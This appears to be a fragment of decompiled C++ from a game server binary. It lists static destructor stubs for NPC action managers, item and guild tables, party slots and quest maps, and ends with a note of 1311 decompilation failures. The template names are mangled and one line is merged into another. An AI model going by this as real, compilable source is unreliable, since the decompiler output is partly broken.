(005A1740) -------------------------------------------------------- void __cdecl _E4_90() { NPCAction::Manager::_Manager(&conditionManager); } //----- (005A1750) -------------------------------------------------------- void __cdecl _E10_29() { std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>((std::map >,std::less,std::allocator > > > > *)&triggerDic); } //----- (005A1760) -------------------------------------------------------- int __cdecl _E4_91() { int result; // eax@3 if ( NPCAction::TriggerGen_OptionReader::tableName_._Myres >= 0x10 ) operator delete(*(void **)&NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0]); result = 0; NPCAction::TriggerGen_OptionReader::tableName_._Myres = 15; NPCAction::TriggerGen_OptionReader::tableName_._Mysize = 0; NPCAction::TriggerGen_OptionReader::tableName_._Bx._Buf[0] = 0; return result; } //----- (005A17C0) -------------------------------------------------------- void __cdecl _E5_79() { std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(&GuildTournamentLvGapTable::sm_mapBalanceDatas); } //----- (005A17D0) -------------------------------------------------------- void __cdecl _E4_92() { std::multimap_std::allocator>>::_multimap_std::allocator>>((std::multimap,std::allocator > > *)&MysteryVaultTable::sm_ItemLists); } //----- (005A17E0) -------------------------------------------------------- void __cdecl _E5_80() { StaticVector::_StaticVector(&pointlist); } //----- (005A17F0) -------------------------------------------------------- void __cdecl _E2_28() { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator::_BinaryDataBox(&mobresisttable); } //----- (005A18A0) -------------------------------------------------------- void __cdecl _E2_33() { ItemAttributeClassContainer::_ItemAttributeClassContainer(&itmattcontainer); } //----- (005A18E0) -------------------------------------------------------- void __cdecl _E2_35() { CParty::PARTY_SLOT::_PARTY_SLOT(&CParty::p_def); } //----- (005A1A00) -------------------------------------------------------- void __cdecl _E2_37() { BinaryDataBox::_BinaryDataBox((MobResistTable *)&rewarddata); } //----- (005A1A10) -------------------------------------------------------- void __cdecl _E5_85() { ItemOptionsData::_ItemOptionsData(&itemoptiondata); } //----- (005A1A20) -------------------------------------------------------- void __cdecl _E2_38() { _eh_vector_destructor_iterator_( &IOBufferList, 0x808u, 16, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005A1A40) -------------------------------------------------------- void __cdecl _E2_39() { CShnDataFileCheckSum::_CShnDataFileCheckSum(&ShnDataFile); } //----- (005A1A50) -------------------------------------------------------- void __cdecl _E2_40() { std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::_map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>((std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *)&CQuestParserScript::m_MapConvertIndexNames); } //----- (005A1A5A) -------------------------------------------------------- void __cdecl _E2_41() { std::_Init_locks::__Init_locks(&initlocks); } //----- (005A1A64) -------------------------------------------------------- void __cdecl _E2_42() { std::locale::_locale(&classic_locale); } //----- (005A1A6E) -------------------------------------------------------- void __cdecl _E2_43() { std::bad_alloc::_bad_alloc(&nomem); } //----- (005A1A78) -------------------------------------------------------- void __cdecl _E2_44() { std::_Init_locks::__Init_locks(&initlocks_0); } //----- (005A1A82) -------------------------------------------------------- void __cdecl _E5_86() { _Init_atexit::__Init_atexit(&init_atexit); } #error "There were 1311 decompilation failure(s) on 11309 function(s)"